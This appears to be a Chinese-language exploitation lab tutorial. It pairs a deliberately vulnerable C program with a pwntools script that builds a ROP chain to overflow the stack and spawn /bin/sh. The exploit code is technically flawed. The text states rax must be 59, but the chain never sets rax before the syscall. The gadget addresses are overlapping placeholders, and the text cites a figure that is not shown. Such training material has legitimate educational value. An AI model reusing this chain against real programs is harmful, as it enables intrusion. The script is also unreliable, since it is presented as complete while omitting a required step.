4. ROP链构造
任务目标
本案例针对一个存在栈溢出漏洞的64位ELF程序,目标是利用ROPgadget工具查找可用gadget,手工构造ROP链调用execve("/bin/sh", NULL, NULL),最终获得shell。通过本案例掌握基本ROP链的构造原理与完整利用流程。
环境与依赖
- 操作系统:Ubuntu 20.04+(64位)
- 工具:
gcc、python3、pwntools、ROPgadget、checksec - 关闭ASLR(或使用
setarch -R运行目标程序)
漏洞程序(vuln.c)
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vulnerable() {
char buf[64];
read(0, buf, 0x200); // 栈溢出:可写入512字节
}
int main() {
vulnerable();
return 0;
}
编译命令(关闭栈保护、PIE,启用NX):
gcc -o vuln vuln.c -fno-stack-protector -no-pie -z noexecstack
关键实现:ROP链构造
使用ROPgadget --binary vuln查找gadget。由于程序未开启PIE,代码段地址固定。核心思路:通过pop rdi; ret设置第一个参数,pop rsi; ret设置第二个参数,pop rdx; ret设置第三个参数,然后跳转到execve的syscall地址。64位系统调用约定:rax=59(execve),rdi指向"/bin/sh"字符串地址,rsi=0,rdx=0。
完整利用脚本(exploit.py):
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
# 从vuln中提取gadget地址(需先运行ROPgadget确认实际地址)
POP_RDI = 0x4011eb # pop rdi; ret
POP_RSI = 0x4011e9 # pop rsi; pop r15; ret
POP_RDX = 0x4011e7 # pop rdx; pop r12; ret
SYSCALL = 0x4011e5 # syscall; ret
BINSH = 0x402004 # "/bin/sh" 字符串地址(需在二进制中确认)
# 若ROPgadget未直接给出上述gadget,可用以下方式组合:
# 使用libc中的gadget或动态查找,此处为最小演示采用固定地址
payload = b'A' * 72 # 覆盖到返回地址(64字节buf + 8字节rbp)
payload += p64(POP_RDI) # 设置rdi = "/bin/sh"
payload += p64(BINSH)
payload += p64(POP_RSI) # 设置rsi = 0
payload += p64(0) # rsi值
payload += p64(0) # r15(填充)
payload += p64(POP_RDX) # 设置rdx = 0
payload += p64(0) # rdx值
payload += p64(0) # r12(填充)
payload += p64(SYSCALL) # 触发execve
p = process('./vuln')
p.send(payload)
p.interactive()
运行与验证
- 先用
ROPgadget --binary vuln | grep "pop rdi"等命令确认实际gadget地址,替换脚本中的地址常量。 - 确认
/bin/sh字符串存在于二进制中:strings vuln | grep "/bin/sh",若不存在需在payload中自行写入并记录地址。 - 关闭ASLR后运行:
setarch $(uname -m) -R ./exploit.py - 成功标志:交互界面出现
$提示符,输入id或whoami能正常执行。
验证判定标准
- 程序未崩溃且返回shell提示符,说明ROP链成功执行了
execve。 - 若程序报错
SIGSEGV,检查gadget地址是否与ROPgadget输出一致,以及payload偏移(本例为72字节)是否正确。 - 若
execve返回错误(如ENOENT),检查rdi指向的字符串是否确实为"/bin/sh"且以\x00结尾。
常见问题
- gadget地址不匹配:不同gcc版本生成的代码段布局不同,务必以ROPgadget实际输出为准。
- 缺少
pop rdx; ret:若ROPgadget未找到,可使用__libc_csu_init中的通用gadget,或改用execve的libc地址(需先泄露libc基址)。 - 栈对齐问题:部分syscall指令要求16字节栈对齐,可在payload开头额外添加一个
retgadget调整。
上图展示了ROP链在栈上的排列顺序与执行时寄存器状态。每个gadget按序弹出,最终在syscall处完成系统调用。注意pop rsi; pop r15; ret和pop rdx; pop r12; ret需要额外填充寄存器值以维持栈平衡。